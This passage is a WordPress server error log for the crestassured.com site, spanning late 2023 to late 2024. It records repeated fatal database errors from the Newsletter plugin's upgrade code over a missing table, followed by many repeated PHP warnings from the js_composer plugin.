#16 /home/natiycxt/crestassured.com/wp-admin/network/index.php(11): require_once('/home/natiycxt/...')
#17 {main}
  thrown in /home/natiycxt/crestassured.com/wp-includes/wp-db.php on line 2056
[26-Dec-2023 05:45:14 UTC] PHP Fatal error:  Uncaught mysqli_sql_exception: Table 'natiycxt_crest.ca_newsletter_user_meta' doesn't exist in /home/natiycxt/crestassured.com/wp-includes/wp-db.php:2056
Stack trace:
#0 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2056): mysqli_query()
#1 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(1945): wpdb->_do_query()
#2 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2696): wpdb->query()
#3 /home/natiycxt/crestassured.com/wp-admin/includes/upgrade.php(2795): wpdb->get_results()
#4 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(32): dbDelta()
#5 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(165): NewsletterUpgrade->db_delta()
#6 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(509): NewsletterUpgrade->run()
#7 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/plugin.php(198): include_once('/home/natiycxt/...')
#8 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(287): Newsletter->hook_wp_loaded()
#9 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(311): WP_Hook->apply_filters()
#10 /home/natiycxt/crestassured.com/wp-includes/plugin.php(484): WP_Hook->do_action()
#11 /home/natiycxt/crestassured.com/wp-settings.php(579): do_action()
#12 /home/natiycxt/crestassured.com/wp-config.php(91): require_once('/home/natiycxt/...')
#13 /home/natiycxt/crestassured.com/wp-load.php(37): require_once('/home/natiycxt/...')
#14 /home/natiycxt/crestassured.com/wp-admin/admin.php(34): require_once('/home/natiycxt/...')
#15 /home/natiycxt/crestassured.com/wp-admin/network/admin.php(13): require_once('/home/natiycxt/...')
#16 /home/natiycxt/crestassured.com/wp-admin/network/index.php(11): require_once('/home/natiycxt/...')
#17 {main}
  thrown in /home/natiycxt/crestassured.com/wp-includes/wp-db.php on line 2056
[01-Jan-2024 10:35:58 UTC] PHP Fatal error:  Uncaught mysqli_sql_exception: Table 'natiycxt_crest.ca_newsletter_user_meta' doesn't exist in /home/natiycxt/crestassured.com/wp-includes/wp-db.php:2056
Stack trace:
#0 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2056): mysqli_query()
#1 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(1945): wpdb->_do_query()
#2 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2696): wpdb->query()
#3 /home/natiycxt/crestassured.com/wp-admin/includes/upgrade.php(2795): wpdb->get_results()
#4 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(32): dbDelta()
#5 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(165): NewsletterUpgrade->db_delta()
#6 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(509): NewsletterUpgrade->run()
#7 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/plugin.php(198): include_once('/home/natiycxt/...')
#8 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(287): Newsletter->hook_wp_loaded()
#9 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(311): WP_Hook->apply_filters()
#10 /home/natiycxt/crestassured.com/wp-includes/plugin.php(484): WP_Hook->do_action()
#11 /home/natiycxt/crestassured.com/wp-settings.php(579): do_action()
#12 /home/natiycxt/crestassured.com/wp-config.php(91): require_once('/home/natiycxt/...')
#13 /home/natiycxt/crestassured.com/wp-load.php(37): require_once('/home/natiycxt/...')
#14 /home/natiycxt/crestassured.com/wp-admin/admin.php(34): require_once('/home/natiycxt/...')
#15 /home/natiycxt/crestassured.com/wp-admin/network/admin.php(13): require_once('/home/natiycxt/...')
#16 /home/natiycxt/crestassured.com/wp-admin/network/index.php(11): require_once('/home/natiycxt/...')
#17 {main}
  thrown in /home/natiycxt/crestassured.com/wp-includes/wp-db.php on line 2056
[04-Jan-2024 09:16:36 UTC] PHP Fatal error:  Uncaught mysqli_sql_exception: Table 'natiycxt_crest.ca_newsletter_user_meta' doesn't exist in /home/natiycxt/crestassured.com/wp-includes/wp-db.php:2056
Stack trace:
#0 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2056): mysqli_query()
#1 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(1945): wpdb->_do_query()
#2 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2696): wpdb->query()
#3 /home/natiycxt/crestassured.com/wp-admin/includes/upgrade.php(2795): wpdb->get_results()
#4 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(32): dbDelta()
#5 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(165): NewsletterUpgrade->db_delta()
#6 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(509): NewsletterUpgrade->run()
#7 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/plugin.php(198): include_once('/home/natiycxt/...')
#8 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(287): Newsletter->hook_wp_loaded()
#9 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(311): WP_Hook->apply_filters()
#10 /home/natiycxt/crestassured.com/wp-includes/plugin.php(484): WP_Hook->do_action()
#11 /home/natiycxt/crestassured.com/wp-settings.php(579): do_action()
#12 /home/natiycxt/crestassured.com/wp-config.php(91): require_once('/home/natiycxt/...')
#13 /home/natiycxt/crestassured.com/wp-load.php(37): require_once('/home/natiycxt/...')
#14 /home/natiycxt/crestassured.com/wp-admin/admin.php(34): require_once('/home/natiycxt/...')
#15 /home/natiycxt/crestassured.com/wp-admin/network/admin.php(13): require_once('/home/natiycxt/...')
#16 /home/natiycxt/crestassured.com/wp-admin/network/index.php(11): require_once('/home/natiycxt/...')
#17 {main}
  thrown in /home/natiycxt/crestassured.com/wp-includes/wp-db.php on line 2056
[08-Jan-2024 09:37:02 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natiycxt/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[08-Jan-2024 09:37:06 UTC] PHP Fatal error:  Uncaught mysqli_sql_exception: Table 'natiycxt_crest.ca_newsletter_user_meta' doesn't exist in /home/natiycxt/crestassured.com/wp-includes/wp-db.php:2056
Stack trace:
#0 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2056): mysqli_query()
#1 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(1945): wpdb->_do_query()
#2 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2696): wpdb->query()
#3 /home/natiycxt/crestassured.com/wp-admin/includes/upgrade.php(2795): wpdb->get_results()
#4 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(32): dbDelta()
#5 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(165): NewsletterUpgrade->db_delta()
#6 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(509): NewsletterUpgrade->run()
#7 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/plugin.php(198): include_once('/home/natiycxt/...')
#8 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(287): Newsletter->hook_wp_loaded()
#9 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(311): WP_Hook->apply_filters()
#10 /home/natiycxt/crestassured.com/wp-includes/plugin.php(484): WP_Hook->do_action()
#11 /home/natiycxt/crestassured.com/wp-settings.php(579): do_action()
#12 /home/natiycxt/crestassured.com/wp-config.php(91): require_once('/home/natiycxt/...')
#13 /home/natiycxt/crestassured.com/wp-load.php(37): require_once('/home/natiycxt/...')
#14 /home/natiycxt/crestassured.com/wp-admin/admin.php(34): require_once('/home/natiycxt/...')
#15 /home/natiycxt/crestassured.com/wp-admin/network/admin.php(13): require_once('/home/natiycxt/...')
#16 /home/natiycxt/crestassured.com/wp-admin/network/index.php(11): require_once('/home/natiycxt/...')
#17 {main}
  thrown in /home/natiycxt/crestassured.com/wp-includes/wp-db.php on line 2056
[08-Jan-2024 11:14:17 UTC] PHP Fatal error:  Uncaught mysqli_sql_exception: Table 'natiycxt_crest.ca_newsletter_user_meta' doesn't exist in /home/natiycxt/crestassured.com/wp-includes/wp-db.php:2056
Stack trace:
#0 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2056): mysqli_query()
#1 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(1945): wpdb->_do_query()
#2 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2696): wpdb->query()
#3 /home/natiycxt/crestassured.com/wp-admin/includes/upgrade.php(2795): wpdb->get_results()
#4 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(32): dbDelta()
#5 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(165): NewsletterUpgrade->db_delta()
#6 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(509): NewsletterUpgrade->run()
#7 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/plugin.php(198): include_once('/home/natiycxt/...')
#8 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(287): Newsletter->hook_wp_loaded()
#9 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(311): WP_Hook->apply_filters()
#10 /home/natiycxt/crestassured.com/wp-includes/plugin.php(484): WP_Hook->do_action()
#11 /home/natiycxt/crestassured.com/wp-settings.php(579): do_action()
#12 /home/natiycxt/crestassured.com/wp-config.php(91): require_once('/home/natiycxt/...')
#13 /home/natiycxt/crestassured.com/wp-load.php(37): require_once('/home/natiycxt/...')
#14 /home/natiycxt/crestassured.com/wp-admin/admin.php(34): require_once('/home/natiycxt/...')
#15 /home/natiycxt/crestassured.com/wp-admin/network/admin.php(13): require_once('/home/natiycxt/...')
#16 /home/natiycxt/crestassured.com/wp-admin/network/index.php(11): require_once('/home/natiycxt/...')
#17 {main}
  thrown in /home/natiycxt/crestassured.com/wp-includes/wp-db.php on line 2056
[10-Jan-2024 06:42:47 UTC] PHP Fatal error:  Uncaught mysqli_sql_exception: Table 'natiycxt_crest.ca_newsletter_user_meta' doesn't exist in /home/natiycxt/crestassured.com/wp-includes/wp-db.php:2056
Stack trace:
#0 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2056): mysqli_query()
#1 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(1945): wpdb->_do_query()
#2 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2696): wpdb->query()
#3 /home/natiycxt/crestassured.com/wp-admin/includes/upgrade.php(2795): wpdb->get_results()
#4 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(32): dbDelta()
#5 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(165): NewsletterUpgrade->db_delta()
#6 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(509): NewsletterUpgrade->run()
#7 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/plugin.php(198): include_once('/home/natiycxt/...')
#8 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(287): Newsletter->hook_wp_loaded()
#9 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(311): WP_Hook->apply_filters()
#10 /home/natiycxt/crestassured.com/wp-includes/plugin.php(484): WP_Hook->do_action()
#11 /home/natiycxt/crestassured.com/wp-settings.php(579): do_action()
#12 /home/natiycxt/crestassured.com/wp-config.php(91): require_once('/home/natiycxt/...')
#13 /home/natiycxt/crestassured.com/wp-load.php(37): require_once('/home/natiycxt/...')
#14 /home/natiycxt/crestassured.com/wp-admin/admin.php(34): require_once('/home/natiycxt/...')
#15 /home/natiycxt/crestassured.com/wp-admin/network/admin.php(13): require_once('/home/natiycxt/...')
#16 /home/natiycxt/crestassured.com/wp-admin/network/index.php(11): require_once('/home/natiycxt/...')
#17 {main}
  thrown in /home/natiycxt/crestassured.com/wp-includes/wp-db.php on line 2056
[23-Jan-2024 03:00:39 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natiycxt/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[23-Jan-2024 03:00:41 UTC] PHP Fatal error:  Uncaught mysqli_sql_exception: Table 'natiycxt_crest.ca_newsletter_user_meta' doesn't exist in /home/natiycxt/crestassured.com/wp-includes/wp-db.php:2056
Stack trace:
#0 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2056): mysqli_query()
#1 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(1945): wpdb->_do_query()
#2 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2696): wpdb->query()
#3 /home/natiycxt/crestassured.com/wp-admin/includes/upgrade.php(2795): wpdb->get_results()
#4 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(32): dbDelta()
#5 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(165): NewsletterUpgrade->db_delta()
#6 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(509): NewsletterUpgrade->run()
#7 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/plugin.php(198): include_once('/home/natiycxt/...')
#8 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(287): Newsletter->hook_wp_loaded()
#9 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(311): WP_Hook->apply_filters()
#10 /home/natiycxt/crestassured.com/wp-includes/plugin.php(484): WP_Hook->do_action()
#11 /home/natiycxt/crestassured.com/wp-settings.php(579): do_action()
#12 /home/natiycxt/crestassured.com/wp-config.php(91): require_once('/home/natiycxt/...')
#13 /home/natiycxt/crestassured.com/wp-load.php(37): require_once('/home/natiycxt/...')
#14 /home/natiycxt/crestassured.com/wp-admin/admin.php(34): require_once('/home/natiycxt/...')
#15 /home/natiycxt/crestassured.com/wp-admin/network/admin.php(13): require_once('/home/natiycxt/...')
#16 /home/natiycxt/crestassured.com/wp-admin/network/index.php(11): require_once('/home/natiycxt/...')
#17 {main}
  thrown in /home/natiycxt/crestassured.com/wp-includes/wp-db.php on line 2056
[23-Jan-2024 20:03:40 UTC] PHP Fatal error:  Uncaught mysqli_sql_exception: Table 'natiycxt_crest.ca_newsletter_user_meta' doesn't exist in /home/natiycxt/crestassured.com/wp-includes/wp-db.php:2056
Stack trace:
#0 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2056): mysqli_query()
#1 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(1945): wpdb->_do_query()
#2 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2696): wpdb->query()
#3 /home/natiycxt/crestassured.com/wp-admin/includes/upgrade.php(2795): wpdb->get_results()
#4 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(32): dbDelta()
#5 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(165): NewsletterUpgrade->db_delta()
#6 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(509): NewsletterUpgrade->run()
#7 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/plugin.php(198): include_once('/home/natiycxt/...')
#8 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(287): Newsletter->hook_wp_loaded()
#9 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(311): WP_Hook->apply_filters()
#10 /home/natiycxt/crestassured.com/wp-includes/plugin.php(484): WP_Hook->do_action()
#11 /home/natiycxt/crestassured.com/wp-settings.php(579): do_action()
#12 /home/natiycxt/crestassured.com/wp-config.php(91): require_once('/home/natiycxt/...')
#13 /home/natiycxt/crestassured.com/wp-load.php(37): require_once('/home/natiycxt/...')
#14 /home/natiycxt/crestassured.com/wp-admin/admin.php(34): require_once('/home/natiycxt/...')
#15 /home/natiycxt/crestassured.com/wp-admin/network/admin.php(13): require_once('/home/natiycxt/...')
#16 /home/natiycxt/crestassured.com/wp-admin/network/about.php(11): require_once('/home/natiycxt/...')
#17 {main}
  thrown in /home/natiycxt/crestassured.com/wp-includes/wp-db.php on line 2056
[27-Jan-2024 04:14:43 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natiycxt/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[27-Jan-2024 04:14:45 UTC] PHP Fatal error:  Uncaught mysqli_sql_exception: Table 'natiycxt_crest.ca_newsletter_user_meta' doesn't exist in /home/natiycxt/crestassured.com/wp-includes/wp-db.php:2056
Stack trace:
#0 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2056): mysqli_query()
#1 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(1945): wpdb->_do_query()
#2 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2696): wpdb->query()
#3 /home/natiycxt/crestassured.com/wp-admin/includes/upgrade.php(2795): wpdb->get_results()
#4 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(32): dbDelta()
#5 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(165): NewsletterUpgrade->db_delta()
#6 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(509): NewsletterUpgrade->run()
#7 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/plugin.php(198): include_once('/home/natiycxt/...')
#8 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(287): Newsletter->hook_wp_loaded()
#9 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(311): WP_Hook->apply_filters()
#10 /home/natiycxt/crestassured.com/wp-includes/plugin.php(484): WP_Hook->do_action()
#11 /home/natiycxt/crestassured.com/wp-settings.php(579): do_action()
#12 /home/natiycxt/crestassured.com/wp-config.php(91): require_once('/home/natiycxt/...')
#13 /home/natiycxt/crestassured.com/wp-load.php(37): require_once('/home/natiycxt/...')
#14 /home/natiycxt/crestassured.com/wp-admin/admin.php(34): require_once('/home/natiycxt/...')
#15 /home/natiycxt/crestassured.com/wp-admin/network/admin.php(13): require_once('/home/natiycxt/...')
#16 /home/natiycxt/crestassured.com/wp-admin/network/index.php(11): require_once('/home/natiycxt/...')
#17 {main}
  thrown in /home/natiycxt/crestassured.com/wp-includes/wp-db.php on line 2056
[27-Jan-2024 04:40:30 UTC] PHP Fatal error:  Uncaught mysqli_sql_exception: Table 'natiycxt_crest.ca_newsletter_user_meta' doesn't exist in /home/natiycxt/crestassured.com/wp-includes/wp-db.php:2056
Stack trace:
#0 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2056): mysqli_query()
#1 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(1945): wpdb->_do_query()
#2 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2696): wpdb->query()
#3 /home/natiycxt/crestassured.com/wp-admin/includes/upgrade.php(2795): wpdb->get_results()
#4 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(32): dbDelta()
#5 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(165): NewsletterUpgrade->db_delta()
#6 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(509): NewsletterUpgrade->run()
#7 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/plugin.php(198): include_once('/home/natiycxt/...')
#8 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(287): Newsletter->hook_wp_loaded()
#9 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(311): WP_Hook->apply_filters()
#10 /home/natiycxt/crestassured.com/wp-includes/plugin.php(484): WP_Hook->do_action()
#11 /home/natiycxt/crestassured.com/wp-settings.php(579): do_action()
#12 /home/natiycxt/crestassured.com/wp-config.php(91): require_once('/home/natiycxt/...')
#13 /home/natiycxt/crestassured.com/wp-load.php(37): require_once('/home/natiycxt/...')
#14 /home/natiycxt/crestassured.com/wp-admin/admin.php(34): require_once('/home/natiycxt/...')
#15 /home/natiycxt/crestassured.com/wp-admin/network/admin.php(13): require_once('/home/natiycxt/...')
#16 {main}
  thrown in /home/natiycxt/crestassured.com/wp-includes/wp-db.php on line 2056
[27-Jan-2024 06:35:25 UTC] PHP Fatal error:  Uncaught mysqli_sql_exception: Table 'natiycxt_crest.ca_newsletter_user_meta' doesn't exist in /home/natiycxt/crestassured.com/wp-includes/wp-db.php:2056
Stack trace:
#0 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2056): mysqli_query()
#1 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(1945): wpdb->_do_query()
#2 /home/natiycxt/crestassured.com/wp-includes/wp-db.php(2696): wpdb->query()
#3 /home/natiycxt/crestassured.com/wp-admin/includes/upgrade.php(2795): wpdb->get_results()
#4 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(32): dbDelta()
#5 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(165): NewsletterUpgrade->db_delta()
#6 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/includes/upgrade.php(509): NewsletterUpgrade->run()
#7 /home/natiycxt/crestassured.com/wp-content/plugins/newsletter/plugin.php(198): include_once('/home/natiycxt/...')
#8 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(287): Newsletter->hook_wp_loaded()
#9 /home/natiycxt/crestassured.com/wp-includes/class-wp-hook.php(311): WP_Hook->apply_filters()
#10 /home/natiycxt/crestassured.com/wp-includes/plugin.php(484): WP_Hook->do_action()
#11 /home/natiycxt/crestassured.com/wp-settings.php(579): do_action()
#12 /home/natiycxt/crestassured.com/wp-config.php(91): require_once('/home/natiycxt/...')
#13 /home/natiycxt/crestassured.com/wp-load.php(37): require_once('/home/natiycxt/...')
#14 /home/natiycxt/crestassured.com/wp-admin/admin.php(34): require_once('/home/natiycxt/...')
#15 /home/natiycxt/crestassured.com/wp-admin/network/admin.php(13): require_once('/home/natiycxt/...')
#16 /home/natiycxt/crestassured.com/wp-admin/network/index.php(11): require_once('/home/natiycxt/...')
#17 {main}
  thrown in /home/natiycxt/crestassured.com/wp-includes/wp-db.php on line 2056
[29-Jan-2024 02:12:24 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natiycxt/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[01-Feb-2024 06:39:14 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natiycxt/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[03-Feb-2024 19:31:32 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natiycxt/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[03-Feb-2024 19:41:05 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natiycxt/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[03-Feb-2024 20:20:28 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natiycxt/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[03-Feb-2024 20:56:02 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natiycxt/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[03-Feb-2024 22:19:44 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natiycxt/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[03-Feb-2024 22:31:46 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natiycxt/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[04-Feb-2024 05:00:39 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natiycxt/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[04-Feb-2024 05:53:10 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natiycxt/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[11-Feb-2024 15:28:37 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natiycxt/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[11-Feb-2024 16:14:09 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natiycxt/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[15-Feb-2024 16:17:45 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natiycxt/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[22-Feb-2024 16:01:11 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natiycxt/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[27-Feb-2024 13:01:47 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natiycxt/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[07-Mar-2024 08:05:09 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natiycxt/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[05-Apr-2024 10:48:55 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natiycxt/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[05-Apr-2024 22:29:02 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natiycxt/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[16-Apr-2024 06:52:26 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natiycxt/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[27-Apr-2024 20:33:03 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natiycxt/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[01-May-2024 12:55:08 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natiycxt/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[08-Jun-2024 10:08:19 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natiycxt/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[21-Jun-2024 10:59:34 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natiycxt/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[23-Aug-2024 06:47:34 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natiycxt/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[02-Sep-2024 00:32:04 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natiycxt/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[09-Sep-2024 23:40:17 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natitnen/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[15-Sep-2024 02:34:42 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natitnen/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[20-Sep-2024 16:05:37 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natitnen/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[22-Sep-2024 18:21:07 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natitnen/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[23-Sep-2024 05:08:37 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natitnen/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[28-Sep-2024 15:58:52 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natitnen/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[13-Oct-2024 11:39:05 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natitnen/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[13-Oct-2024 11:53:51 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natitnen/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[14-Oct-2024 00:43:10 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natitnen/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
[06-Nov-2024 00:20:56 UTC] PHP Warning:  The magic method Vc_Manager::__wakeup() must have public visibility in /home/natitnen/crestassured.com/wp-content/plugins/js_composer/include/classes/core/class-vc-manager.php on line 203
